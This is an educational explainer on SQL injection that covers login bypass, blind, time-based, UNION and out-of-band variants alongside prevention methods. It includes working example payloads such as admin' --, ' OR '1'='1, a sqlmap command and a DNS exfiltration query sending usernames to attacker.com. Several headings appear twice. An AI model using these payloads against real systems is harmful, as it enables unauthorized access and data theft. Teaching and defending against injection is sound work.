SQL Injection

SQL injection (SQLi) is a type of security vulnerability in which an attacker is able to run arbitrary SQL code on a database. It usually occurs when a developer doesn't properly validate or sanitize input from an external source and then uses this input in a SQL query.

How It Works:

Suppose you have a login page where the backend code queries the database like so:

query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";

If the attacker provides this input for the username: admin' --
The SQL query becomes:

SELECT * FROM users WHERE username='admin' --' AND password='password'

Here, -- is a SQL comment, so the rest of the SQL statement is ignored, allowing the attacker to login as admin without knowing the password.

Types of SQL Injection:

Classic SQLi: The attacker inserts malicious SQL code into a query.
Blind SQLi: The attacker asks the database a true or false question and determines the answer based on the application's response.
Time-based Blind SQLi: The attacker determines if the hypothesis is true based on how long it takes the application to respond.
Out-of-band SQLi: Data is retrieved using a different communication channel, for instance, making a HTTP request to an attacker-controlled server.

Prevention:

Prepared Statements: Instead of constructing SQL queries with string concatenation, use prepared statements. They ensure that user input is always treated as data and not executable code.
```
// Using PHP's PDO for MySQL
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);
```
Stored Procedures: These can encapsulate the SQL logic, making sure it only does what's intended.
ORMs: Object-Relational Mapping tools often have built-in protections against SQLi.
Input Validation: Use a whitelist approach. Only allow known-good input. Reject everything else.
Escaping User Input: If you absolutely must insert user data into queries, make sure to escape it using functions provided by your database system.
Least Privilege: Make sure the database user your application uses has only the permissions necessary to perform its tasks. For example, if there's no reason for your web app to drop tables, then the account it uses shouldn't have the DROP privilege.
Error Handling: Avoid showing detailed database errors to the end users. Such messages can provide useful information to an attacker.
Web Application Firewalls (WAFs): These can detect and block SQL injection attacks, but they're not foolproof and are best combined with the above techniques.

It's essential to remember that SQL injection has been a known vulnerability for many years, yet it remains a common and severe threat. Prevention is always better than cure, so always develop with security in mind.

SQL Injection Examples:

Description: SQL injection occurs when an attacker injects malicious SQL code into input fields, exploiting vulnerabilities in the application's handling of user input.

Example:

-- Input from a web form
$username = $_POST['username'];
$password = $_POST['password'];

-- SQL query with vulnerability
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

How to Prevent SQL Injection:

How to Prevent SQL Injection:

Description: Use parameterized queries, input validation, and proper encoding to prevent SQL injection.

Example (Parameterized Query):

$query = "SELECT * FROM users WHERE username=? AND password=?";
$stmt = $conn->prepare($query);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

Detecting and Mitigating SQL Injection Attacks:

Detecting and Mitigating SQL Injection Attacks:
- Description: Regularly audit and sanitize user input, employ web application firewalls (WAFs), and use security best practices.
- Example (Sanitizing Input):
```
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
```

SQL Injection Attack Vectors:

SQL Injection Attack Vectors:
- Description: Attackers can exploit various entry points, including login forms, search fields, and URL parameters.
- Example (URL Parameter):
```
https://example.com/search?query=' OR '1'='1
```

SQL Injection Tools and Scanners:

SQL Injection Tools and Scanners:
- Description: Tools like SQLMap and scanners can automate the detection and exploitation of SQL injection vulnerabilities.
- Example (SQLMap):
```
sqlmap -u "https://example.com/login" --data="username=test&password=test" --level=5
```

Parameterized Queries to Prevent SQL Injection:

Parameterized Queries to Prevent SQL Injection:
- Description: Use parameterized queries to separate user input from SQL code.
- Example (PDO):
```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$username, $password]);
```

Input Validation and Filtering for SQL Injection:

Input Validation and Filtering for SQL Injection:
- Description: Validate and sanitize user input to ensure it meets expected criteria.
- Example (PHP Filter Functions):
```
$username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
```

Escaping and Encoding Techniques for SQL Injection:

Escaping and Encoding Techniques for SQL Injection:
- Description: Escape special characters or use encoding functions to neutralize user input.
- Example (MySQLi):
```
$username = mysqli_real_escape_string($conn, $_POST['username']);
```

Blind SQL Injection Attacks:

Blind SQL Injection Attacks:
- Description: Blind SQL injection occurs when the results of an injection are not directly visible, but the attacker can infer information through true or false conditions.
- Example (Boolean-Based):
```
SELECT * FROM users WHERE username='admin' AND password LIKE 'a%';
```

Time-Based and Error-Based SQL Injection:

Time-Based and Error-Based SQL Injection:
- Description: Time-based attacks delay responses, and error-based attacks leverage database error messages.
- Example (Time-Based):
```
IF(1=1, SLEEP(5), 0);
```

UNION-Based SQL Injection:

UNION-Based SQL Injection:
- Description: UNION-based attacks exploit the UNION SQL operator to combine results from different queries.
- Example:
```
SELECT username, password FROM users WHERE username='admin' UNION SELECT NULL, NULL;
```

Out-of-Band SQL Injection:

Out-of-Band SQL Injection:
- Description: Data is retrieved through a different channel, such as DNS requests.
- Example (DNS Exfiltration):
```
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT username FROM users), '.attacker.com\\file'));
```

Automated SQL Injection Testing:

Automated SQL Injection Testing:
- Description: Automated tools like SQLMap and OWASP ZAP can identify and test SQL injection vulnerabilities.
- Example (OWASP ZAP):
```
Use the automated scanner feature to identify SQL injection vulnerabilities.
```